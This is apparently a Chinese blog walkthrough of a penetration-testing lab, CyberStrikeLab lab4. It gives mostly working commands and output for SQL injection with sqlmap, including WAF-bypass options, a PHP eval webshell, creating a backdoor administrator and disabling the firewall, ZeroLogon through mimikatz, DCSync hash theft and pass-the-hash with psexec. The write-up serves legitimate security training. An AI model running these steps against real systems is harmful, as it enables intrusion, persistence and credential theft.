CyberStrikeLab-lab4
|
内网渗透
|
|
0
|
R1ft
|
43

2161 字
|
30 分钟

192.168.10.10/192.168.20.10

给了个ip 192.168.10.10

扫c段

./fscan_mac_arm64 -h  192.168.10.10/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.10.10   is alive
(icmp) Target 192.168.10.233  is alive
[*] Icmp alive hosts len is: 2
192.168.10.233:22 open
192.168.10.10:139 open
192.168.10.10:135 open
192.168.10.10:445 open
192.168.10.10:7680 open
192.168.10.10:3306 open
192.168.10.233:8080 open

存活主机192.168.10.10

开放了445 + 139：易受 SMB 相关漏洞攻击（如 EternalBlue MS17-010，如果系统未打补丁）。

139NetBIOS文件共享，常伴有 SMB（老windows版本）
135RPCWindows 远程过程调用
445SMB现代 Windows 文件共享、IPC$
7680Windows Update Delivery OptimizationWin10/11 更新服务，较少见但正常
3306MySQL / MariaDB数据库开放到了公网（内网也需注意）

扫全端口

./fscan_mac_arm64 -h 192.168.10.10 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
192.168.10.10:135 open
192.168.10.10:139 open
192.168.10.10:445 open
192.168.10.10:3306 open
192.168.10.10:3389 open
192.168.10.10:5040 open
192.168.10.10:5820 open
192.168.10.10:7680 open
192.168.10.10:49670 open
192.168.10.10:49666 open
192.168.10.10:49665 open
192.168.10.10:49664 open
192.168.10.10:49669 open
192.168.10.10:49668 open
192.168.10.10:49667 open
[*] alive ports len is: 15
start vulscan
[*] WebTitle http://192.168.10.10:5820 code:200 len:9243   title:演示网站 - Powered by BlueCMS
[+] InfoScan http://192.168.10.10:5820 [CMS]

fscan扫描到192.168.10.10:5820端口开放，并且运行了Bluecms，并且版本是v1.6

image-20260517184416803

该版本有sql注入https://www.cnblogs.com/fengzun/articles/17932952.html

sqlmap使用参数

image-20260517185117762

判断是否有sql注入

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 --batch  #--batch 自动跑

Parameter: ad_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ad_id=1 AND (SELECT 5391 FROM (SELECT(SLEEP(5)))UYIf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: ad_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716b6271,0x7241647a4e70447a4174425654796969514f54706d596267574243734e5266756543626c7648746e,0x71766b7171),NULL-- -
---
[18:52:24] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.39, PHP, PHP 5.4.45
back-end DBMS: MySQL >= 5.0.12

存在union联合注入和时间盲注

枚举所有数据库

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 --dbs --batch  #--dbs 枚举所有数据库

[18:55:59] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.39, PHP
back-end DBMS: MySQL >= 5.0.12
[18:55:59] [INFO] fetching database names
[18:55:59] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] bluecms
[*] information_schema

有bluecms、information_schema两个数据库

查看当前使用的数据库

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 --current-db --batch 

current database: 'bluecms'

枚举指定数据库下的所有表

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 -D bluecms --tables --batch 

Database: bluecms
[29 tables]
+------------------+
| blue_ad          |
| blue_ad_phone    |
| blue_admin       |
| blue_admin_log   |
| blue_ann         |
| blue_ann_cat     |
| blue_arc_cat     |
| blue_area        |
| blue_article     |
| blue_attachment  |
| blue_buy_record  |
| blue_card_order  |
| blue_card_type   |
| blue_category    |
| blue_comment     |
| blue_config      |
| blue_flash_image |
| blue_guest_book  |
| blue_ipbanned    |
| blue_link        |
| blue_model       |
| blue_navigate    |
| blue_pay         |
| blue_post        |
| blue_post_att    |
| blue_post_pic    |
| blue_service     |
| blue_task        |
| blue_user        |
+------------------+

枚举指定表下的所有字段

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 -D bluecms -T blue_admin --columns --batch

Database: bluecms
Table: blue_admin
[8 columns]
+-----------------+----------------------+
| Column          | Type                 |
+-----------------+----------------------+
| add_time        | int(10)              |
| admin_id        | smallint(5) unsigned |
| admin_name      | varchar(40)          |
| email           | varchar(40)          |
| last_login_ip   | varchar(15)          |
| last_login_time | int(10)              |
| purview         | varchar(255)         |
| pwd             | varchar(32)          |
+-----------------+----------------------+

导出表中数据

python3 sqlmap.py  -u http://192.168.10.10:5820/ad_js.php\?ad_id\=1 -D bluecms -T blue_admin -C  admin_name,pwd --dump  --batch  #--dump，导出 admin_name和pwd

Database: bluecms                                                                                             Table: blue_admin
[1 entry]
+------------+------------------------------------------------+
| admin_name | pwd                                            |
+------------+------------------------------------------------+
| admin      | a66abb5684c45962d887564f08346e8d (admin123456) |
+------------+------------------------------------------------+

后台账号密码出来了，/admin是后台

image-20260517190349882

这里再普及下post参数时如何sql注入

方法一：直接指定POST数据

# Windows
python sqlmap.py -u "http://示例网址/login.php" --data="username=admin&password=123456" -p username --batch
 
# Linux/macOS
python3 sqlmap.py -u "http://示例网址/login.php" --data="username=admin&password=123456" -p username --batch

参数说明：

  • --data：指定POST提交的数据
  • -p username：指定测试username参数

方法二：使用BurpSuite请求包（推荐） 

# Windows
python sqlmap.py -r request.txt --batch
 
# Linux/macOS
python3 sqlmap.py -r request.txt --batch

绕过WAF/防护规则

目标网站有防火墙时，直接测试会被拦截。sqlmap提供--tamper参数调用绕过脚本。

# Windows
python sqlmap.py -u "http://示例网址/test.php?id=1" --tamper space2comment,randomcase --batch
 
# Linux/macOS
python3 sqlmap.py -u "http://示例网址/test.php?id=1" --tamper space2comment,randomcase --batch

常用绕过脚本速查

image-20260517191839713

多个脚本组合使用

# 组合使用多个绕过脚本（用逗号分隔）
python sqlmap.py -u "目标URL" --tamper space2comment,randomcase,charencode --batch

调整探测等级与风险等级

–level 参数（1-5）

探测等级越高，测试越全面，会测试Cookie、User-Agent等请求头。

# 等级1：默认级别，只测试GET/POST参数
python sqlmap.py -u "目标URL" --level 1 --batch
 
# 等级3：测试Cookie参数
python sqlmap.py -u "目标URL" --level 3 --batch
 
# 等级5：测试所有请求头（包括User-Agent、Referer等）
python sqlmap.py -u "目标URL" --level 5 --batch

–risk 参数（1-3）

风险等级越高，测试payload越激进，适合难利用的注入点。

# 等级1：默认级别，安全
python sqlmap.py -u "目标URL" --risk 1 --batch
 
# 等级2：增加基于时间的注入测试
python sqlmap.py -u "目标URL" --risk 2 --batch
 
# 等级3：增加基于OR的注入测试（可能造成数据修改）
python sqlmap.py -u "目标URL" --risk 3 --batch
image-20260517192059364

综合流程

# 完整流程命令（替换URL即可使用）
python sqlmap.py -u "目标URL" --batch                    # 检测注入
python sqlmap.py -u "目标URL" --dbs --batch              # 枚举数据库
python sqlmap.py -u "目标URL" -D 数据库名 --tables --batch       # 枚举表
python sqlmap.py -u "目标URL" -D 数据库名 -T 表名 --columns --batch   # 枚举字段
python sqlmap.py -u "目标URL" -D 数据库名 -T 表名 -C 字段名 --dump --batch  # 提取数据

sqlmap使用教程https://blog.csdn.net/m0_59755138/article/details/159656447

账号密码进去后台getshell

https://blog.csdn.net/weixin_72007549/article/details/127540398

系统设置-模版管理

image-20260517192453026

在点击修改前，开始抓包，经过尝试，修改tpl_name的值，跳到上上级目录

image-20260517192846769

[ ](https://www.hyhforever.top/posts/2025/07/cyberstrikelab-lab4/images/Pasted image 20250719210536.png)添加一句话木马，修改一下文件名，连接成功，在根目录拿到flag1

GIF89a
<?php @eval($_REQUEST['a']);phpinfo();?>
image-20260517193409700
image-20260517193532948

system权限

image-20260517193552663

flag

go-flag{ovuRsBeMqji13Rrc}
C:/phpstudy_pro/WWW/ > systeminfo
������:           DESKTOP-JFB57A8
OS ����:          Microsoft Windows 10 רҵ��
OS �汾:          10.0.18363 ��ȱ Build 18363
OS ������:        Microsoft Corporation
OS ����:          ��������վ
OS ��������:      Multiprocessor Free
ע���������:     web
ע�����֯:       
��Ʒ ID:          00331-10000-00001-AA410
��ʼ��װ����:     2024/12/22, 11:32:28
ϵͳ����ʱ��:     2026/5/17, 10:21:39
ϵͳ������:       Red Hat
ϵͳ�ͺ�:         KVM
ϵͳ����:         x64-based PC
������:           ��װ�� 2 ����������
                  [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2000 Mhz
                  [02]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2000 Mhz
BIOS �汾:        SeaBIOS 1.16.3-2.el9, 2014/4/1
Windows Ŀ¼:     C:\Windows
ϵͳĿ¼:         C:\Windows\system32
�����豸:         \Device\HarddiskVolume1
ϵͳ��������:     zh-cn;����(�й�)
���뷨��������:   zh-cn;����(�й�)
ʱ��:             (UTC+08:00) ���������죬����ر�����������³ľ��
�����ڴ�����:     1,023 MB
���õ������ڴ�:   472 MB
�����ڴ�: ���ֵ: 2,751 MB
�����ڴ�: ����:   1,912 MB
�����ڴ�: ʹ����: 839 MB
ҳ���ļ�λ��:     C:\pagefile.sys
��:               WORKGROUP
��¼������:       ��ȱ
�޲�����:         ��װ�� 6 ���޲�����
                  [01]: KB4532938
                  [02]: KB4513661
                  [03]: KB4516115
                  [04]: KB4517245
                  [05]: KB4528759
                  [06]: KB4528760
����:             ��װ�� 2 �� NIC��
                  [01]: Realtek RTL8139C+ Fast Ethernet NIC
                      ������:      ��̫��ʵ�� 0
                      ���� DHCP:   ��
                      IP ��ַ
                        [01]: 192.168.10.10
                        [02]: fe80::7094:a660:eb95:460b
                  [02]: Realtek RTL8139C+ Fast Ethernet NIC
                      ������:      ��̫��ʵ�� 0 2
                      ���� DHCP:   ��
                      IP ��ַ
                        [01]: 192.168.20.10
                        [02]: fe80::65bc:4c75:2690:6f54
Hyper-V Ҫ��:     �Ѽ�⵽�������س��򡣽�����ʾ Hyper-V ����Ĺ��ܡ�

x64-based PC ，双网卡192.168.20.10

上线rshell

生成tcp反向监听器，上线

rshell里上传fscan，扫

C:\Users\Public>fscan64.exe -h 192.168.20.10/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.20.10   is alive
(icmp) Target 192.168.20.20   is alive
(icmp) Target 192.168.20.30   is alive
[*] Icmp alive hosts len is: 3
192.168.20.30:135 open
192.168.20.20:135 open
192.168.20.10:135 open
192.168.20.30:88 open
192.168.20.10:3306 open
192.168.20.20:7001 open
192.168.20.30:445 open
192.168.20.20:445 open
192.168.20.10:445 open
192.168.20.30:139 open
192.168.20.20:139 open
192.168.20.10:139 open
192.168.20.10:7680 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo
[*]192.168.20.20
   [->]cyberweb
   [->]192.168.20.20
[*] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600
[*] WebTitle http://192.168.20.20:7001 code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://192.168.20.20:7001 [weblogic] 
已完成 13/13
[*] 扫描结束,耗时: 18.7577008s

C:\Users\Public>
cyberweb.cyberstrikelab.com  这里的cyberweb是主机名
IP角色/主机名操作系统关键端口
192.168.20.10未知Windows135, 139, 445, 3306, 7680
192.168.20.20cyberwebWindows Server 2012 R2135, 139, 445, 7001
192.168.20.30未知Windows135, 139, 445, 88

三台都是 Windows 机器（都有 135, 139, 445 端口）。

🖥️ 192.168.20.20

端口服务说明
7001WebLogicOracle WebLogic Server，Java EE 中间件
135, 139, 445SMB/RPCWindows 文件共享
主机名cyberweb可能是 Web 服务器

🖥️ 192.168.20.30

端口服务说明
88Kerberos域控的关键端口！
135, 139, 445SMB/RPCWindows 标准端口

🔴 重要发现：

  • 端口 88 是 Kerberos 认证服务
  • 这通常意味着 192.168.20.30 是域控制器（DC）

📌 域控特征：

端口服务说明
88Kerberos域认证
389LDAP（未扫到但可能存在）目录服务
445SMB域共享
135RPC域管理

sosks代理10000端口

rdp连10.10这台机器

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  #开启远程桌面（RDP），如果3389开了，这个命令其实也没必要再执行了
net user hack Admin@123 /add 
net localgroup Administrators hack /add #创建管理员用户，管理员一定是能3389进去的
netsh firewall set opmode disable #关闭防火墙 ，防火墙开启有可能阻止3389连接
image-20260517202429711

其实也没必要rdp进去，直接到rshell上操作也行

192.168.20.30

先打域控，其他师傅说用ZeroLogon (CVE-2020-1472) 打域控

ZeroLogon (CVE-2020-1472) ：攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。攻击机不在域内，但能访问域控也可以

第1步 验证漏洞存在

域控主机名可以直接ping -a

C:\Users\Public>ping -a 192.168.20.30

正在 Ping WIN-7NRTJO59O7N [192.168.20.30] 具有 32 字节的数据:
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128

192.168.20.30 的 Ping 统计信息:
    数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms，最长 = 0ms，平均 = 0ms

拿到主机名

WIN-7NRTJO59O7N
C:\Users\Public>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$   #主机名后面加$
[rpc] Remote   : 192.168.20.30
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no

Target : 192.168.20.30
Account: WIN-7NRTJO59O7N$
Type   : 6 (Server)
Mode   : detect

Trying to 'authenticate'...
======

  NetrServerAuthenticate2: 0x00000000

* Authentication: OK -- vulnerable

OK — vulnerable漏洞存在

第2步 置空域控HASH

注意：域控的机器帐户HASH存储在注册表中，系统启动时会将其加载到lsass，当攻击置空域控HASH后，仅AD (NTDS.DIT) 中的密码会更改，而不是注册表或加载到lsass中的密码，这样将会导致域控脱域，无法使用Kerberos进行身份验证，因此要尽快恢复。

mimikatz # lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$ /exploit
[rpc] Remote   : 192.168.20.30
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no

Target : 192.168.20.30
Account: WIN-7NRTJO59O7N$
Type   : 6 (Server)
Mode   : exploit

Trying to 'authenticate'...
========================================================================================================================
========================================================================================================================
========================================================================================================================
========================================================================================================================
========================================================================================================================
========================================================================================================================
===================================================

  NetrServerAuthenticate2: 0x00000000
  NetrServerPasswordSet2 : 0x00000000

* Authentication: OK -- vulnerable
* Set password  : OK -- may be unstable

第3步 获取域管HASH

mimikatz # lsadump::dcsync /csv /domain:cyberstrikelab.com /dc:WIN-7NRTJO59O7N.cyberstrikelab.com /user:administrator /authuser:WIN-7NRTJO59O7N$ /authpassword:"" /authntlm
[DC] 'cyberstrikelab.com' will be the domain
[DC] 'WIN-7NRTJO59O7N.cyberstrikelab.com' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
[rpc] Username : WIN-7NRTJO59O7N$
[rpc] Domain   :
[rpc] Password :
500     Administrator   00f995cbe63fd30411f44d434b8dac98        512
参数含义取值说明
lsadump::dcsyncMimikatz 的 DCSync 模块模拟域控同步其他域控的密码哈希
/csv输出格式为 CSV方便复制粘贴或导入到表格
/domain:cyberstrikelab.com目标域名称你在扫描中看到的域名
/dc:WIN-7NRTJO59O7N.cyberstrikelab.com指定域控的完整 FQDN目标域控的完整域名
/user:administrator要导出哈希的用户这是域管账户
/authuser:WIN-7NRTJO59O7N$认证时使用的账户域控机器账户（密码已被重置为空）
/authpassword:\"\"认证账户的密码两个引号代表空密码
/authntlm使用 NTLM 认证配合空密码进行 NTLM 身份验证

原理：一句话：利用 Zerologon 重置密码后的空密码，冒充域控机器账户，向真正的域控请求同步 Administrator 的哈希。

┌─────────────────────────────────────────────────────────────┐
│                                                              │
│  你的机器 (Mimikatz)                                          │
│       │                                                      │
│       │ 1. 用机器账户 WIN-7NRTJO59O7N$ 空密码认证              │
│       │    /authuser:WIN-7NRTJO59O7N$ /authpassword:""       │
│       ▼                                                      │
│  ┌─────────────────────────────────────────────────────┐     │
│  │        域控 192.168.20.30                            │     │
│  │                                                     │     │
│  │  2. 认证成功（因为密码是空的）                          │     │
│  │                                                     │     │
│  │  3. 执行 DCSync 复制操作                              │     │
│  │     请求复制 Administrator 的哈希                      │     │
│  │                                                     │     │
│  │  4. 返回哈希给 Mimikatz                              │     │
│  └─────────────────────────────────────────────────────┘     │
│       │                                                      │
│       │ 5. 输出 Administrator 的 NTLM 哈希                    │
│       ▼                                                      │
│  你获得了域管哈希 ✅                                          │
│                                                              │
└─────────────────────────────────────────────────────────────┘

/authuser:WIN-7NRTJO59O7N$

  • 这是域控的机器账户
  • 格式：计算机名 + $
  • 你之前的 Zerologon 攻击已经把这个账户的密码重置为空

/authpassword:\"\"

  • \"\" 是转义后的空字符串
  • 因为你的 shell 可能需要转义引号，实际密码是空

/authntlm

  • 指定使用 NTLM 认证协议
  • 配合空密码使用

/user:administrator

  • 这是你要目标用户
  • 你想导出这个用户的 NTLM 哈希

拿到域管hash后

500     Administrator   00f995cbe63fd30411f44d434b8dac98        512

使用哈希（Pass-the-Hash, PtH）直接登录域控，绕过密码验证;

使用 psexec.py 和已经获取到的 Administrator NTLM 哈希，尝试登录域控。

python3 /Volumes/N1/hackerTools/neiWang/impacket-0.13.0/examples/psexec.py  -hashes :00f995cbe63fd30411f44d434b8dac98 cyberstrikelab.com/administrator@192.168.20.30
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 192.168.20.30.....
[*] Found writable share ADMIN$
[*] Uploading file aVMHSLoJ.exe
[*] Opening SVCManager on 192.168.20.30.....
[*] Creating service WZlv on 192.168.20.30.....
[*] Starting service WZlv.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 6.1.7600]

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����


C:\Windows\system32> type C:\flag.txt
go-flag{hAeek65Vho2s199D}

类似，用这个方法登陆20.20那个主机

192.168.20.20

python3 /Volumes/N1/hackerTools/neiWang/impacket-0.13.0/examples/psexec.py  -hashes :00f995cbe63fd30411f44d434b8dac98 cyberstrikelab.com/administrator@192.168.20.20
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 192.168.20.20.....
[*] Found writable share ADMIN$
[*] Uploading file DMrQpoCB.exe
[*] Opening SVCManager on 192.168.20.20.....
[*] Creating service xJwm on 192.168.20.20.....
[*] Starting service xJwm.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 6.3.9600]

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2013 Microsoft Corporation����������Ȩ����


C:\Windows\system32> type C:\flag.txt
go-flag{yJzuQ09FXn0h7Em4}

总结

靶场环境架构还原

┌─────────────────────────────────────────────────────────────────┐
│                      192.168.20.0/24 域环境                       │
│                         cyberstrikelab.com                        │
├─────────────────────────────────────────────────────────────────┤
│                                                                   │
│  ┌─────────────────┐  ┌─────────────────┐  ┌─────────────────┐   │
│  │  192.168.20.10  │  │  192.168.20.20  │  │  192.168.20.30  │   │
│  │                 │  │                 │  │                 │   │
│  │  MySQL          │  │  WebLogic 7001  │  │  Kerberos 88    │   │
│  │  Windows 10/11  │  │  Win2012 R2     │  │  SMB 445        │   │
│  │                 │  │  cyberweb       │  │  === 域控 ===    │   │
│  └─────────────────┘  └─────────────────┘  └─────────────────┘   │
│         ↑                      ↑                      ↑          │
│         │                      │                      │          │
│         └──────────────────────┼──────────────────────┘          │
│                                │                                  │
│                         ┌───────▼───────┐                         │
│                         │   攻击机       │                         │
│                         │   (你的机器)   │                         │
│                         └───────────────┘                         │
└─────────────────────────────────────────────────────────────────┘

第四阶段：域权限提升（Privilege Escalation）

使用 Zerologon (CVE-2020-1472) 攻击域控：

步骤命令说明
1lsadump::zerologon /target:.30 /account:WIN-7NRTJO59O7N$探测漏洞是否存在
2lsadump::zerologon /target:.30 /account:WIN-7NRTJO59O7N$ /exploit重置域控机器账户密码为空
3lsadump::dcsync /domain:cyberstrikelab.com /user:administrator导出域管哈希
4psexec.py -hashes :哈希 administrator@.30哈希传递登录域控
暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																				
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇
下一篇 

                    

                    
			        推荐文章
		            

		            

							
春秋云境-Privilege

							
							

							
春秋云镜-Brute4Road

							
							

							
春秋云镜-Certify

							
							

							
春秋云境 – Rivulet

							
							

							
春秋云镜-Initial

							
							

							
春秋云镜-Flarum

							
							

							
春秋云镜-Exchange

							
							

							
春秋云境-Aoselu

							
							

							
内网渗透三级代理如何搭建

							
							

							
CyberStrikeLab-Delegation